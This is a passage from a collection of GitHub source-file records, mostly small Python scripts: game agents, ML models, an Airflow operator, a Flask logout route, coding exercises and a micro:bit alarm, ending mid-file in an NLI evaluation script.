non_dom_nodes = []\n        for node, action in actions.items():\n            if (action != dominant_action) and (node not in banned_first_nodes):\n                non_dom_nodes.append(node)\n        # Find agent with lowest reward\n        if len(non_dom_nodes) > 0:\n            curr_val = 1.\n            for node in non_dom_nodes:\n                if rewards[node] < curr_val:\n                    curr_val = rewards[node]\n                    first_node = node\n            # Get dominant nodes\n            dom_nodes = list(all_nodes - set(non_dom_nodes))\n            curr_val = 0.\n            banned_second_nodes = g.get_invalid_edge_ends(first_node, self.environment.get_remaining_budget(i))\n            for node in dom_nodes:\n                if (rewards[node] > curr_val) and (node not in banned_second_nodes):\n                    curr_val = rewards[node]\n                    second_node = node\n\n        # If no nodes satisfy the criteria, then pick randomly\n        if (first_node is None) or (second_node is None):\n            first_node, second_node = self.pick_random_actions(i)\n\n        return first_node, second_node\n\n\nclass LowDegreeTarget(BaselineAgent):\n    \"\"\"\n    Flip node playing contributes with few connections\n    \"\"\"\n    algorithm_name = 'Low_Degree'\n    is_deterministic = True\n\n    def __init__(self, environment):\n        super().__init__(environment,)\n\n    def pick_actions_using_strategy(self, i):\n        first_node, second_node = None, None\n\n        g = self.environment.g_list[i]\n\n        if g.action_type is None:\n            first_node = 'flip'\n            second_node = -1.\n            return first_node, second_node\n\n        degrees = g.node_degrees\n        actions = g.actions\n\n        # Get agents playing non-dominant action\n        contributes = []\n        for node, action in actions.items():\n            if action == 1:\n                contributes.append(node)\n        # Find agent with lowest degree\n        curr_min = float(np.finfo(np.float32).max)\n        curr_min2 = float(np.finfo(np.float32).max)\n        for node in contributes:\n            if degrees[node] < curr_min:\n                curr_min = degrees[node]\n                first_node = node\n            elif degrees[node] < curr_min2:\n                curr_min2 = degrees[node]\n                second_node = node\n\n        return first_node, second_node\n","repo_name":"philiprj/PlanNet","sub_path":"relnet/agent/baseline/baseline_agent.py","file_name":"baseline_agent.py","file_ext":"py","file_size_in_byte":5093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"39137594027","text":"# BOJ 18406\nN = input()\n\nlength = len(N)\nleft_half = 0\nright_half = 0\n\nfor i in range(length // 2):\n    left_half += int(N[i])\nfor i in range(length // 2, length):\n    right_half += int(N[i])\n\nif left_half == right_half:\n    print(\"LUCKY\")\nelse:\n    print(\"READY\")\n","repo_name":"yg-moon/problem-solving","sub_path":"python-for-coding-test/my-solutions/12/Q7.py","file_name":"Q7.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"17320106781","text":"from ..rkbe import RKBEModel\nimport numpy as np\nimport tensorflow as tf\n\nclass RHHolE(RKBEModel):\n\tdef __init__(self, n_entity=None,\n\t\tn_relation=None,\n\t\tentity_dim=50, \n\t\tlambda_=None,\n\t\tlrate=.001,\n\t\tmodel_dir=None,\n\t\tdataName='DataUnknown',\n\t\tname=None,\n\t\tepoch_num=None,\n\t\ttask=None,\n\t\tnozero=False ):\n\t\tif not name:\n\t\t\tname = 'RKBE%iD%sL.%s' % (entity_dim, str(lambda_) \\\n\t\t\t\t\t\tif lambda_ else 'inf', dataName)\n\t\trelation_dim = h_dim = entity_dim; self.nozero = nozero\n\t\tsuper(RHHolE, self).__init__(entity_dim=entity_dim,\n\t\t\t\t\trelation_dim=relation_dim,\n\t\t\t\t\th_dim=h_dim,\n\t\t\t\t\tn_entity=n_entity,\n\t\t\t\t\tn_relation=n_relation,\n\t\t\t\t\ttask=task,\n\t\t\t\t\tlambda_=lambda_,\n\t\t\t\t\tlrate=lrate,\n\t\t\t\t\tname=name,\n\t\t\t\t\tmodel_dir=model_dir,\n\t\t\t\t\tepoch_num=epoch_num,\n\t\t\t\t\tdataName=dataName)\n\t\t\n\tdef build_x(self):\n\t\tself.e1_fft = tf.fft(tf.complex(self.e1,0.0))\n\t\tself.e2_fft = tf.fft(tf.complex(self.e2,0.0))\n\t\tx = tf.multiply(self.r, tf.cast(tf.real(tf.ifft(tf.multiply(tf.conj(self.e1_fft),self.e2_fft))),dtype=tf.float32))\n\t\treturn x\n\n\n","repo_name":"MatthiasRLalisse/GradientGraphs","sub_path":"gradgraph/rkbe/models/RHHolE.py","file_name":"RHHolE.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33110909877","text":"import os\nfrom typing import Any, Dict\n\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.utils.decorators import apply_defaults\ntry:\n    from cloud_function_utils import make_iap_request, IAP_CLIENT_ID\nexcept ImportError:\n    from recidiviz.cloud_functions.cloud_function_utils import make_iap_request, IAP_CLIENT_ID\n\n\ndef make_iap_export_request(url: str) -> Dict[str, Any]:\n    client_id = IAP_CLIENT_ID[os.environ.get('GCP_PROJECT_ID')]\n    # make_iap_request raises an exception if the returned status code is not 200\n    response = make_iap_request(url, client_id)\n\n    # When operators return a value in airflow, the result is put into xcom for other operators to access it.\n    # However, the result must be a built in Python data type otherwise the operator will not return successfully.\n    return {\n        'status_code': response.status_code,\n        'text': response.text\n    }\n\n\nclass IAPHTTPRequestOperator(PythonOperator):\n    @apply_defaults\n    def __init__(\n            self,\n            task_id: str,\n            url: str,\n            *args, **kwargs) -> None:\n        super().__init__(task_id=task_id,\n                         python_callable=make_iap_export_request,\n                         op_kwargs={'url': url},\n                         *args, **kwargs)\n","repo_name":"katherinehu/pulse-data","sub_path":"recidiviz/airflow/dag/iap_httprequest_operator.py","file_name":"iap_httprequest_operator.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"}
{"seq_id":"72342758863","text":"import pygame\nfrom pygame.sprite import Sprite\n\n\nclass SubZero(Sprite):\n\n    def __init__(self, screen, settings):\n        \n        super().__init__()\n\n        self.screen = screen\n        self.screen_rect = self.screen.get_rect()\n        self.settings = settings\n\n        self.image = pygame.image.load(\"imagenes/subzero_derecha.png\")\n        self.rect = self.image.get_rect()\n\n        self.rect.y = self.screen_rect.height - self.rect.height\n        self.rect.x = self.screen_rect.width / 2 - self.rect.width / 2\n\n        self.mov_right = False\n        self.mov_left = False\n\n\n    def update(self):\n\n        if self.mov_right:\n            self.rect.x += 1\n\n        elif self.mov_left:\n            self.rect.x -= 1\n\n    def blitme(self):\n        self.screen.blit(self.image, self.rect)","repo_name":"Grainfordd/Pygame_exercises","sub_path":"Ejercicios6/subzero.py","file_name":"subzero.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19006330657","text":"import torch\nimport torch.nn as nn\nimport numpy as np\nimport logging\nimport sys\nimport os\nimport config\nfrom config import args\nimport constants\n\nfrom smpl_family.create_smpl_models import create_model\nfrom utils.projection import vertices_kp3d_projection_withfov, vertices_kp3d_projection\nfrom utils.rot_6D import rot6D_to_angular\nfrom maps_utils.relative_parser import parse_age_cls_results\nfrom maps_utils.debug_utils import print_dict\n\nimport torch.nn.functional as F\n\nclass SMPLWrapper(nn.Module):\n    def __init__(self):\n        super(SMPLWrapper, self).__init__()\n        logging.info('Building SMPL family for relative learning in temporal!')\n\n        self.smpl_model = create_model(args().smpl_model_type)\n        #self.part_name = ['cam_trans', 'global_orient', 'body_pose', 'smpl_betas']\n        #self.part_idx = [3, 3,  (args().smpl_joint_num-1) * 3, 11 if not args().separate_smil_betas else 21]\n        self.part_name = ['cam', 'global_orient', 'body_pose', 'smpl_betas']\n        self.part_idx = [3, 6,  (args().smpl_joint_num-1) * 6, 11 if not args().separate_smil_betas else 21]\n        self.params_num = np.array(self.part_idx).sum()\n\n    def parse_params_pred(self, params_pred, without_cam=False):\n        params_dict = self.pack_params_dict(\n            params_pred, without_cam=without_cam)\n        params_dict['smpl_betas'], cls_dict = self.process_betas(\n            params_dict['smpl_betas'])\n        vertices, joints44_17 = self.smpl_model(betas=params_dict['smpl_betas'], \\\n                            poses=params_dict['smpl_thetas'], separate_smil_betas=args().separate_smil_betas)\n        return vertices, joints44_17, params_dict, cls_dict\n\n    def forward(self, outputs, meta_data, calc_pj2d_org=True):\n        vertices, joints44_17, params_dict, cls_dict = self.parse_params_pred(outputs['params_pred'])\n\n        if 'world_global_rots' in outputs:\n            world_vertices, world_joints44_17 = self.smpl_model(betas=params_dict['smpl_betas'].detach(), \\\n                            poses=torch.cat([outputs['world_global_rots'], params_dict['smpl_thetas'][:,3:].detach()],1), separate_smil_betas=args().separate_smil_betas)\n            outputs.update({'world_verts': world_vertices, 'world_j3d': world_joints44_17[:, :args().joint_num], 'world_joints_h36m17': world_joints44_17[:, args().joint_num:]})\n\n        outputs.update(\n            {'verts': vertices, 'j3d': joints44_17[:, :args().joint_num], 'joints_h36m17': joints44_17[:, args().joint_num:], **params_dict, **cls_dict})\n\n        outputs.update(vertices_kp3d_projection(outputs['j3d'], outputs['joints_h36m17'], outputs['cam'], \\\n                input2orgimg_offsets=meta_data['offsets'] if calc_pj2d_org else None, presp=args().perspective_proj, vertices=outputs['verts'] if args().compute_verts_org else None))  \n        if args().dynamic_augment:\n            dyna_pouts = vertices_kp3d_projection(outputs['world_j3d'].detach(), outputs['joints_h36m17'].detach(), outputs['world_cams'], \\\n                input2orgimg_offsets=meta_data['offsets'] if calc_pj2d_org else None, presp=args().perspective_proj, vertices=outputs['verts'] if args().compute_verts_org else None)\n            outputs.update({'world_pj2d': dyna_pouts['pj2d'], 'world_trans': dyna_pouts['cam_trans'], 'world_joints_h36m17': dyna_pouts['pj2d_h36m17']})\n            if args().compute_verts_org:\n                outputs.update({'world_verts_camed_org': dyna_pouts['verts_camed_org']})\n            \n        return outputs\n\n    def pack_params_dict(self, params_pred, without_cam=False):\n        idx_list, params_dict = [0], {}\n        for i, (idx, name) in enumerate(zip(self.part_idx, self.part_name)):\n            if without_cam and i == 0:\n                idx_list.append(0)\n                continue\n            idx_list.append(idx_list[i] + idx)\n            params_dict[name] = params_pred[:, idx_list[i]: idx_list[i+1]].contiguous()\n        #print_dict(params_dict)\n        if params_dict['global_orient'].shape[-1] == 6:\n            params_dict['body_pose'] = rot6D_to_angular(params_dict['body_pose'])\n            params_dict['global_orient'] = rot6D_to_angular(params_dict['global_orient'])\n        N = params_dict['body_pose'].shape[0]\n        params_dict['body_pose'] = torch.cat([params_dict['body_pose'], torch.zeros(\n            N, 6).to(params_dict['body_pose'].device)], 1)\n        params_dict['smpl_thetas'] = torch.cat(\n            [params_dict['global_orient'], params_dict['body_pose']], 1)\n        return params_dict\n\n    def process_betas(self, betas_pred):\n        # TODO: don't have video training data with kid offset\n        if not args().learn_relative_age:\n            betas_pred[:, 10] = 0\n\n        # the obvious variance of SMPL body shape is in -8~8.\n        #smpl_betas = betas_pred[:, :10]\n        #smpl_betas[:,:2] = smpl_betas[:,:2]* 6.\n        kid_offsets = betas_pred[:, 10]\n        #genders_pred = self.softmax(betas_pred[:,11:])\n        #age_genders = torch.cat([kid_offsets.unsqueeze(1), genders_pred],1).contiguous()\n        Age_preds = parse_age_cls_results(kid_offsets)\n        #Gender_cls_preds = Age_Gender_cls_preds[:,1]\n        #smpl_gender = torch.index_select(torch.tensor([[1,0],[0,1],[0,0]],device=Gender_cls_preds.device),0,Gender_cls_preds).float().to(smpl_betas.device)\n\n        # whether to detach the learning of kid_offsets in vertex\n        #betas_pred = torch.cat([smpl_betas, kid_offsets.unsqueeze(1).detach()],1).contiguous()\n        betas_pred = betas_pred[:, :10]\n\n        cls_dict = {'Age_preds': Age_preds, 'kid_offsets_pred': kid_offsets}\n        return betas_pred, cls_dict\n\n\ndef merge_smpl_outputs(results_list):\n    if len(results_list) == 1:\n        return results_list[0][0]\n    results = {k: None for k in results_list[0][0].keys()}\n    map_inds = torch.cat([torch.where(mask)[0] for _, mask in results_list], 0)\n    for key in list(results.keys()):\n        results[key] = torch.cat([result[key]\n                                  for result, _ in results_list], 0)[map_inds]\n    return results\n\n\n\"\"\"\n            outputs.update(vertices_kp3d_projection_withfov(outputs['j3d'], outputs['joints_h36m17'], \\\n                outputs['cam_trans'], outputs['pred_fovs'],\n                input2orgimg_offsets=meta_data['offsets'] if calc_pj2d_org else None, vertices=outputs['verts'] if args().inference_video else None))\n            if args().dynamic_augment:\n                dyna_pouts = vertices_kp3d_projection_withfov(outputs['j3d'].detach(), outputs['joints_h36m17'].detach(), \\\n                    outputs['world_trans'], outputs['pred_fovs'], input2orgimg_offsets=meta_data['offsets'] if calc_pj2d_org else None, vertices=outputs['verts'] if args().inference_video else None)\n                outputs.update({'world_pj2d': dyna_pouts['pj2d'], 'world_pj2d_h36m17': dyna_pouts['pj2d_h36m17']})\n\"\"\"","repo_name":"Arthur151/ROMP","sub_path":"trace/lib/smpl_family/smpl_wrapper_relative_temp.py","file_name":"smpl_wrapper_relative_temp.py","file_ext":"py","file_size_in_byte":6829,"program_lang":"python","lang":"en","doc_type":"code","stars":1176,"dataset":"github-code","pt":"47"}
{"seq_id":"73017928463","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nfig, ((ax1, ax2), (ax3, ax4)) = plt.subplots(2, 2)\n\nplt.rc('axes', labelsize=10)\nplt.rc('xtick', labelsize=16)\nplt.rc('ytick', labelsize=16)\n\nx = np.arange(-2, 2, 0.01)\n\nax1.set_xlabel('x')\nax1.plot(x, np.sin(4*x), color='r')\nax1.legend(['sin(4x)'], loc='center right')\nplt.setp(ax1.get_xticklabels(), visible=False)\n\nax2.set_xlabel('x')\nax2.plot(x, np.cos(x)*np.sin(x))\nax2.legend(['cos(x)sin(x)'], loc='center')\nplt.setp(ax2.get_xticklabels(), visible=False)\n\nax3.set_xlabel('x')\nax3.plot(x, np.cos(x))\nax3.legend(['cos(x)'], loc='lower center')\n\nax4.set_xlabel('x')\nax4.plot(x, np.cos(x)+np.sin(x))\nax4.legend(['cos(x)+sin(x)'], loc='lower right')\n\nfig.show()\n","repo_name":"JakobJBauer/CompMath2021","sub_path":"UE10/Aufgabe3.py","file_name":"Aufgabe3.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72294859024","text":"# Time complexity = O(n) for constructor and O(logn) for pickIndex\n# Space complexity = O(n) for constructor and O(1) for pickIndex\n\nclass Solution:\n\n    def __init__(self, w: List[int]):\n        self.prefix_sums = []\n        self.total_sum = 0\n        \n        for weight in w:\n            self.total_sum += weight\n            self.prefix_sums.append(self.total_sum)\n\n    def pickIndex(self) -> int:\n        random_target = self.total_sum * random.random()\n        \n        left, right = 0, len(self.prefix_sums)\n        \n        while left < right:\n            middle = left + (right - left) // 2\n            if self.prefix_sums[middle] >= random_target:\n                right = middle\n            else:\n                left = middle + 1\n        \n        return left\n# Your Solution object will be instantiated and called as such:\n# obj = Solution(w)\n# param_1 = obj.pickIndex()","repo_name":"equan1090/DataStructures_Algorithms","sub_path":"528-random-pick-with-weight/528-random-pick-with-weight.py","file_name":"528-random-pick-with-weight.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37282134096","text":"\"\"\"Class definition of the In-Memory Landscape Model store.\"\"\"\nimport base\nimport numpy\nimport typing\n\n\nclass InMemoryStore(base.Store):\n    \"\"\"\n    A Landscape model store that manages data exchange entirely by Python objects in memory.\n\n    PARAMETERS\n    None.\n    \"\"\"\n    # CHANGELOG\n    base.VERSION.added(\"1.1.1\", \"`store.InMemoryStore` \")\n    base.VERSION.changed(\"1.3.27\", \"`store.InMemoryStore` `slice` keyword renamed to `slices`\")\n    base.VERSION.changed(\"1.3.27\", \"`store.InMemoryStore` updated\")\n    base.VERSION.changed(\"1.3.33\", \"`store.InMemoryStore` stores physical unit if specified\")\n    base.VERSION.added(\"1.4.1\", \"Changelog in `store.InMemoryStore` \")\n    base.VERSION.changed(\"1.4.1\", \"`store.InMemoryStore` class documentation\")\n    base.VERSION.changed(\"1.4.9\", \"`store.InMemoryStore` data type access\")\n    base.VERSION.changed(\"1.5.3\", \"`store.InMemoryStore` changelog uses markdown for code elements\")\n    base.VERSION.added(\"1.7.0\", \"Type hints to `stores.InMemoryStore` \")\n    base.VERSION.changed(\"1.8.0\", \"Replaced Legacy format strings by f-strings in `stores.InMemoryStore` \")\n    base.VERSION.changed(\"1.9.0\", \"Switched to Google docstring style in `stores.InMemoryStore` \")\n\n    def __init__(self) -> None:\n        \"\"\"Initializes an InMemoryStore.\"\"\"\n        self._data = {}\n        self._scales = {}\n        self._unit = {}\n\n    def describe(self, name: str) -> dict[str, typing.Any]:\n        \"\"\"\n        Describes a dataset in the store.\n\n        Args:\n            name: The name of the dataset.\n\n        Returns:\n            A dictionary describing the dataset.\n        \"\"\"\n        return {\"scales\": self._scales[name], \"unit\": self._unit[name]}\n\n    def get_values(self, name: str, **keywords) -> typing.Any:\n        \"\"\"\n        Gets the values of a data set from the store.\n\n        Args:\n            name: The name of the data set.\n            keywords: Additional keywords.\n\n        Returns:\n            The values of the data set in their original representation.\n        \"\"\"\n        try:\n            values = self._data[name]\n        except KeyError:\n            raise KeyError(f\"InMemoryStore does not contain data for '{name}'\")\n        return values\n\n    def set_values(\n            self,\n            name: str,\n            values: typing.Any,\n            scales: typing.Optional[str] = None,\n            unit: typing.Optional[str] = None,\n            shape: typing.Optional[typing.Sequence[int]] = None,\n            data_type: typing.Optional[type] = None,\n            chunks: typing.Optional[typing.Sequence[slice]] = None,\n            create: bool = True,\n            slices: typing.Optional[typing.Sequence[slice]] = None\n    ) -> None:\n        \"\"\"\n        Stores a data set in the store.\n\n        Args:\n\n            name: The name of the data set.\n            values: The values of the data set.\n            scales: The scales to which the values of the data set apply.\n            unit: The physical unit of the values.\n            shape: The shape of a newly created empty array.\n            data_type: The datatype of a newly created empty array.\n            chunks: The chunk size for a newly created empty array.\n            create: Specifies whether a data set should be created or not.\n            slices: Defines the portion of the data set that was passed to the function.\n\n        Returns:\n            Nothing.\n        \"\"\"\n        if isinstance(values, type):\n            type_name = f\"{values.__module__}.{values.__qualname__}\"\n            # noinspection SpellCheckingInspection\n            if type_name == \"numpy.ndarray\" and create:\n                self._data[name] = numpy.zeros(shape, data_type)\n            else:\n                raise TypeError(f\"Unsupported type: {type(values)}\")\n        elif isinstance(values, numpy.ndarray) and slices is not None:\n            self._data[name][slices] = values\n        else:\n            self._data[name] = values\n        self._scales[name] = scales\n        self._unit[name] = unit\n\n    def has_dataset(self, name: str, partial: bool = False) -> bool:\n        \"\"\"\n        Checks whether a dataset exists in the store or not.\n\n        Args:\n            name: The name of the dataset.\n            partial: Specifies whether to also check partial dataset paths or not.\n\n        Returns:\n            A boolean value indicating whether the dataset exists or not.\n        \"\"\"\n        return name in self._data\n","repo_name":"xlandscape/LandscapeModel-Core","sub_path":"stores/InMemoryStore.py","file_name":"InMemoryStore.py","file_ext":"py","file_size_in_byte":4411,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"19017841102","text":"from typing import Dict, Union, Optional\n\n\nclass Computer:\n    def __init__(\n        self,\n        description: str,\n        processor_type: str,\n        hard_drive_capacity: int,\n        memory: int,\n        os: str,\n        made_in_year: int,\n        price: int\n    ):\n        self.description = description\n        self.processor_type = processor_type\n        self.hard_drive_capacity = hard_drive_capacity\n        self.memory = memory\n        self.os = os\n        self.made_in_year = made_in_year\n        self.price = price\n\n\nclass ComputerShop:\n    def __init__(self):\n        self.shop_inventory: Dict[int, Computer] = {}\n        self.item_id_generator: int = 0\n\n    def buy(self, computer: Computer) -> int:\n        self.item_id_generator = self.item_id_generator + 1\n        self.shop_inventory[self.item_id_generator] = computer\n        return self.item_id_generator\n\n    def update_price(self, item_id: int, new_price: int) -> None :\n        if item_id in self.shop_inventory:\n            self.shop_inventory[item_id].price = new_price\n        else:\n            print('Cannot update price for an item that does not exist')\n\n    def sell(self, item_id: int) -> None:\n        del self.shop_inventory[item_id]\n\n    def print_item(self, item_id: int, shop_inventory: dict) -> None:\n        if item_id in self.shop_inventory:\n            print(f'Item with id {item_id} : {self.shop_inventory[item_id]}')\n        else:\n            print(f'Item with id {item_id} does not exist')\n\n\nclass RebuyShop(ComputerShop):\n    shop_inventory: Dict[int, Dict[str, Union[str, int, bool]]] = {}\n    item_id: int = 0\n\n    def refurbish(self, item_id: int, shop_inventory: dict, new_os: Optional[str] = None) -> None:\n        if item_id in shop_inventory:\n\n            computer = shop_inventory[item_id]\n\n            if int(computer['made_in_year']) < 2000:\n                computer['price'] = 0\n            elif int(computer['made_in_year']) < 2010:\n                computer['price'] = 250\n            elif int(computer['made_in_year']) < 2018:\n                computer['price'] = 650\n            else:\n                computer['price'] = 1000\n\n            if new_os is not None:\n                computer['os'] = new_os\n        else:\n            print('Cannot refurbish an item that does not exist')\n\n\ndef create_computer(\n                    description: str,\n                    processor_type: str,\n                    hard_drive_capacity: int,\n                    memory: int,\n                    os: str,\n                    made_in_year: int,\n                    price: int\n                    ) -> Dict[str, Union[str, int, bool]]:\n    return {\n            'description': description,\n            'processor_type': processor_type,\n            'hard_drive_capacity': hard_drive_capacity,\n            'memory': memory,\n            'os': os,\n            'made_in_year': made_in_year,\n            'price': price\n        }\n\n\nif __name__ == \"main\":\n    # Computer Shop\n    print('CREATE COMPUTER')\n    computer_shop = ComputerShop()\n\n    computer = create_computer(\n        \"Triston XPT 3352\",\n        \"1.4 GHz Quad‑Core Intel Core i5\",\n        256, 16,\n        \"Unix\", 2016, 1400)\n\n    print(computer)\n\n    print('\\nCOMPUTER SHOP')\n    print('#' * 20)\n    cid: int = computer_shop.buy(computer)\n\n    print('UPDATE PRICE')\n    computer_shop.update_price(cid, 1450)\n    computer_shop.print_item(cid)\n\n    print('SELL')\n    computer_shop.sell(cid)\n\n    print('PRINT AFTER SELLING')\n    computer_shop.print_item(cid)\n\n\n# Rebuy Shop\n    rebuy_shop = RebuyShop()\n    rcid: int = rebuy_shop.buy(computer)\n    print('\\nREBUY SHOP')\n    print('#' * 20)\n\n    print('REFURBISH')\n    rebuy_shop.refurbish(rcid, \"Linux Mint\")\n    rebuy_shop.print_item(rcid)\n\n    print('R SELL')\n    rebuy_shop.sell(rcid)\n\n    print('PRINT AFTER R SELLING')\n    rebuy_shop.print_item(rcid)\n","repo_name":"Alicia-Toom/effective-python-programing","sub_path":"lab_oop/refactoring_oop_main.py","file_name":"refactoring_oop_main.py","file_ext":"py","file_size_in_byte":3853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"3809439213","text":"charM_genom = \"\"\nwith open(\"/home/wy/Documents/bioinformatics/project/Phyllothelys_breve.fasta\",\"r\") as input_file:\n    # 读取一行\n    input_file.readline()\n    for line in input_file:\n        line = line.strip().upper()\n        charM_genom = charM_genom+line\n        # print()\n\ntotal_count=len(charM_genom)\nA_count=charM_genom.count(\"A\")\nT_count=charM_genom.count(\"T\")\nC_count=charM_genom.count(\"C\")\nG_count=charM_genom.count(\"G\")\nprint(\"The total of gene is \"+str(total_count))\n# 统计ATCG\nprint(\"The number of A is \"+str(A_count))\nprint(\"The number of T is \"+str(T_count))\nprint(\"The number of C is \"+str(C_count))\nprint(\"The number of G is \"+str(G_count))\n\nprint(\"The overall base composition was {0}% A  、{1}% T 、{2}% C 、{3}% G \"\n        .format(A_count/total_count,T_count/total_count,C_count/total_count,\n        G_count/total_count))\n# print(\"The char A count in chrM is : {0}\".format(charM_genom.count(\"A\")))\n\n ","repo_name":"wangyang1749/bioinformatics","sub_path":"BioPython/chrM_count.py","file_name":"chrM_count.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"71212678862","text":"from flask import Blueprint, url_for, redirect, current_app\nfrom flask_login import LoginManager, login_required, logout_user, current_user\n\nlogout = Blueprint('logout', __name__)\nlogin_manager = LoginManager()\nlogin_manager.init_app(logout)\n\n\n@logout.route('/logout')\n@login_required\ndef show():\n    current_app.logger.info(f\"Logout user with id {current_user.id}\")\n    logout_user()\n    return redirect(url_for('login.show') + '?success=logged-out')\n","repo_name":"IgorL123/wsd_rus","sub_path":"app/backend/routes/logout.py","file_name":"logout.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"13439615148","text":"\nclass Graph:\n    def __init__(self, gdict=None):\n        if gdict is None:\n            gdict = {}\n        self.gdict = gdict\n    \n    def addEdge(self, vertex, edge):\n        self.gdict[vertex].append(edge)\n    \n    def checkRoute(self, startNode, endNode):\n        visited = [startNode]\n        queue = [startNode]\n        path = False\n        while queue:\n            deVertex = queue.pop(0)\n            for adjacentVertex in self.gdict[deVertex]:\n                if adjacentVertex not in visited:\n                    if adjacentVertex == endNode:\n                        path = True\n                        break\n                    else:\n                        visited.append(adjacentVertex)\n                        queue.append(adjacentVertex)\n        return path\n \n","repo_name":"aeespinosao/Data-structures-and-algorithms-python","sub_path":"4. Graph algorithms/1.route_between_nodes.py","file_name":"1.route_between_nodes.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"24660560095","text":"import result\nimport csv\n\ndata = {}\nRESULT = result.BRACKET_ORIG\n\nfor year in RESULT:\n\tcount = 1\n\tdata[year] = []\n\tfor team in RESULT[year]:\n\t\tdata[year].append([team, count])\n\t\tcount += 1\n\t\t\nfor year in data:\n    with open(\"./our_data/lookup/\" + str(year) + \"_lookup.csv\", \"w\") as outfile:\n\n        writer = csv.writer(outfile, delimiter=',', lineterminator='\\n')\n\n        writer.writerows(data[year])","repo_name":"batesandy123/ECE470","sub_path":"make_lookup.py","file_name":"make_lookup.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22286078118","text":"from microbit import *\r\nimport music\r\nimport radio\r\nradio.config(group=34)\r\nradio.on()\r\n\r\nwhile True:\r\n    message = radio.receive()\r\n    if message:\r\n        if message == 'intruder':\r\n            display.show(Image.ANGRY)\r\n            music.play(music.BADDY)\r\n    if button_a.was_pressed():\r\n        display.clear()\r\n","repo_name":"microbit-foundation/micropython-microbit-stubs","sub_path":"examples/microbit-org/pressure-switch-alarm-pressure-alarm-receiver.py","file_name":"pressure-switch-alarm-pressure-alarm-receiver.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"40892401995","text":"import random\nimport torch\nimport os\n\nfrom dataloaders.datasets import CaptionDataset\nfrom models.model import BiLSTM_withMaxPooling\nimport argparse\nimport json\n\nimport torchvision.transforms as transforms\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--run_local', default=False, action='store_true')\nparser.add_argument('--batch_size', default=32, type=int)\nparser.add_argument('--neg_type', default='standard', type=str)\nparser.add_argument('--runname', default='standard', type=str)\nparser.add_argument('--cuda', default=0, type=int)\nparser.add_argument('--ex_dup', default=10, type=int)\nparser.add_argument('--debug', default=False, action='store_true')\nparser.add_argument('--embedding_size', default=512, type=int)\nargs = parser.parse_args()\n\ndevice = torch.device(\"cuda:{}\".format(args.cuda) if torch.cuda.is_available() else \"cpu\")\n\nnet = BiLSTM_withMaxPooling(args.embedding_size, args.embedding_size, device)\nmodel_path = '../trained_models/train_standard_nli_batch_size_32/checkpoint_IC_NLI.pth.tar'\nstat_dict = torch.load(model_path, map_location=device)\nnet = stat_dict['net']\nepoch = stat_dict['epoch']\nepochs_since_improvement = stat_dict['epochs_since_improvement']\noptimizer = stat_dict['optimizer']\n\ndata_normalization = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n\nif args.run_local:\n    net.device = 'cpu'\nnet.eval()\n\ndata_folder = '/home/gal/Desktop/Pycharm_projects/image_captioning/output_folder'\ndata_name = 'coco_5_cap_per_img_5_min_word_freq'  # base name shared by data files\n\nif not args.run_local:\n    data_f = '/yoav_stg/gshalev/image_captioning/output_folder'\nelse:\n    data_f = data_folder\n\n\n# section: word map\nword_map_file = os.path.join(data_f, 'WORDMAP_' + data_name + '.json')\nprint('word_map_file: {}'.format(word_map_file))\nprint('loading word map from path: {}'.format(word_map_file))\nwith open(word_map_file, 'r') as j:\n    word_map = json.load(j)\nprint('load word map COMPLETED')\nrev_word_map = {v: k for k, v in word_map.items()}\n\nval_loader = torch.utils.data.DataLoader(\n    CaptionDataset(data_f, data_name, 'VAL', transform=transforms.Compose([data_normalization])),\n    batch_size=1, shuffle=True, num_workers=1, pin_memory=True)\n\nval_caps_lst = torch.load(\n        '/yoav_stg/gshalev/image_captioning/output_folder/val_caps_lst' if not args.run_local else os.path.join(\n            data_folder, 'val_caps_lst'))\n\nfor val_batch_i, (imgs, caps, caplens, all_captions) in enumerate(val_loader):\n\n        # subsection: pos example\n    pos_output = net((caps, caplens[0][0]), (all_captions[0][1], caplens[0][1]))\n    pred = torch.argmax(pos_output).item()\n    sen1 = ' '.join([rev_word_map[x] for x in caps[0].cpu().detach().numpy()[:list(caps[0]).index(0)]][1:-1])\n    sen2 = ' '.join([rev_word_map[x] for x in all_captions[0][1].cpu().detach().numpy()[:list(all_captions[0][1]).index(0)]][1:-1])\n    print('-------------------')\n    print('-------------------')\n    print('sen1: {}\\nsen2: {}\\ngt: {}\\npred: {}'.format(sen1, sen2, True, pred))\n    print('-------------------')\n\n    fake_caps_and_lens_lst = random.sample(list(val_caps_lst), 1)\n    fake_caps_lst = 